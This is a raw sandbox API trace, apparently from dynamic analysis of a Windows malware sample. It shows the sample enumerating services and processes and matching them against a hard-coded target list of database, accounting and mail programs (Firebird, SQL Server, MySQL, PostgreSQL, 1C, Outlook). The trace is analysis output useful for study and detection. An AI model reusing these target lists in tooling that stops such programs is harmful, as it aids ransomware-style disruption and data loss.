	[0051.812] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0051.813] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0051.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0051.813] lstrlenW (lpString="EventSystem") returned 11
	[0051.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0051.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0051.813] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0051.813] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0051.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0051.813] lstrlenW (lpString="gpsvc") returned 5
	[0051.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0051.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0051.813] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0051.813] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0051.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0051.813] lstrlenW (lpString="iphlpsvc") returned 8
	[0051.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0051.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0051.813] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0051.813] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0051.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0051.813] lstrlenW (lpString="LanmanServer") returned 12
	[0051.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0051.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0051.813] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0051.813] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0051.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0051.813] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0051.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0051.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0051.813] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0051.813] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0051.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0051.814] lstrlenW (lpString="lmhosts") returned 7
	[0051.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0051.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0051.814] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0051.814] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0051.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0051.814] lstrlenW (lpString="MMCSS") returned 5
	[0051.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0051.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0051.814] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0051.814] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0051.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0051.814] lstrlenW (lpString="MpsSvc") returned 6
	[0051.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0051.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0051.814] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0051.814] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0051.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0051.814] lstrlenW (lpString="Netman") returned 6
	[0051.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0051.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0051.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0051.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0051.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0051.814] lstrlenW (lpString="netprofm") returned 8
	[0051.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0051.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0051.814] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0051.814] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0051.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0051.815] lstrlenW (lpString="NlaSvc") returned 6
	[0051.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0051.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0051.815] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0051.815] lstrlenW (lpString="nsi") returned 3
	[0051.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0051.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0051.815] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0051.815] lstrlenW (lpString="PcaSvc") returned 6
	[0051.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0051.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0051.815] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0051.815] lstrlenW (lpString="PlugPlay") returned 8
	[0051.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0051.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0051.815] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0051.815] lstrlenW (lpString="Power") returned 5
	[0051.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0051.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0051.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0051.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0051.815] lstrlenW (lpString="ProfSvc") returned 7
	[0051.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0051.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0051.816] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0051.816] lstrlenW (lpString="RpcEptMapper") returned 12
	[0051.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0051.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0051.816] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0051.816] lstrlenW (lpString="RpcSs") returned 5
	[0051.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0051.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0051.816] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0051.816] lstrlenW (lpString="SamSs") returned 5
	[0051.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0051.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0051.816] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0051.816] lstrlenW (lpString="Schedule") returned 8
	[0051.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0051.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0051.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0051.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0051.816] lstrlenW (lpString="SENS") returned 4
	[0051.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0051.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0051.817] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0051.817] lstrlenW (lpString="ShellHWDetection") returned 16
	[0051.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0051.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0051.817] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0051.817] lstrlenW (lpString="Spooler") returned 7
	[0051.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0051.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0051.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0051.817] lstrlenW (lpString="swprv") returned 5
	[0051.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0051.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0051.817] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0051.817] lstrlenW (lpString="SysMain") returned 7
	[0051.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0051.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0051.817] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0051.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0051.817] lstrlenW (lpString="Themes") returned 6
	[0051.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0051.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0051.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0051.818] lstrlenW (lpString="TrkWks") returned 6
	[0051.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0051.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0051.818] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0051.818] lstrlenW (lpString="UxSms") returned 5
	[0051.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0051.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0051.818] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0051.818] lstrlenW (lpString="VSS") returned 3
	[0051.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0051.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0051.818] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0051.818] lstrlenW (lpString="WdiServiceHost") returned 14
	[0051.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0051.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0051.818] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0051.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0051.818] lstrlenW (lpString="WdiSystemHost") returned 13
	[0051.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0051.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0051.819] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0051.819] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0051.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0051.819] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0051.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0051.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0051.819] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0051.819] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0051.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0051.819] lstrlenW (lpString="Winmgmt") returned 7
	[0051.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0051.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0051.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0051.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0051.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0051.819] lstrlenW (lpString="WPDBusEnum") returned 10
	[0051.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0051.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0051.819] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0051.819] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0051.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0051.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ea0058 | out: hHeap=0x4f0000) returned 1
	[0051.819] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8
	[0051.822] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0051.823] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0051.824] lstrlenW (lpString="System") returned 6
	[0051.824] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0051.824] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0051.824] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0051.824] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0051.824] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0051.824] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0051.824] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0051.824] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0051.825] lstrlenW (lpString="smss.exe") returned 8
	[0051.825] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0051.825] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0051.825] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0051.825] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0051.825] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0051.825] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0051.825] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0051.825] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0051.826] lstrlenW (lpString="csrss.exe") returned 9
	[0051.826] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0051.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0051.826] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0051.826] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0051.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0051.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0051.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0051.826] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0051.826] lstrlenW (lpString="wininit.exe") returned 11
	[0051.826] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0051.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0051.827] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0051.827] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0051.828] lstrlenW (lpString="csrss.exe") returned 9
	[0051.828] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0051.828] lstrlenW (lpString="winlogon.exe") returned 12
	[0051.828] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0051.829] lstrlenW (lpString="services.exe") returned 12
	[0051.829] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0051.830] lstrlenW (lpString="lsass.exe") returned 9
	[0051.830] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0051.830] lstrlenW (lpString="lsm.exe") returned 7
	[0051.830] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.831] lstrlenW (lpString="svchost.exe") returned 11
	[0051.831] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.832] lstrlenW (lpString="svchost.exe") returned 11
	[0051.832] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.832] lstrlenW (lpString="svchost.exe") returned 11
	[0051.833] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.833] lstrlenW (lpString="svchost.exe") returned 11
	[0051.833] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.834] lstrlenW (lpString="svchost.exe") returned 11
	[0051.834] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0051.835] lstrlenW (lpString="audiodg.exe") returned 11
	[0051.835] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.835] lstrlenW (lpString="svchost.exe") returned 11
	[0051.835] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.836] lstrlenW (lpString="svchost.exe") returned 11
	[0051.836] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0051.837] lstrlenW (lpString="dwm.exe") returned 7
	[0051.837] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0051.838] lstrlenW (lpString="explorer.exe") returned 12
	[0051.838] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0051.838] lstrlenW (lpString="spoolsv.exe") returned 11
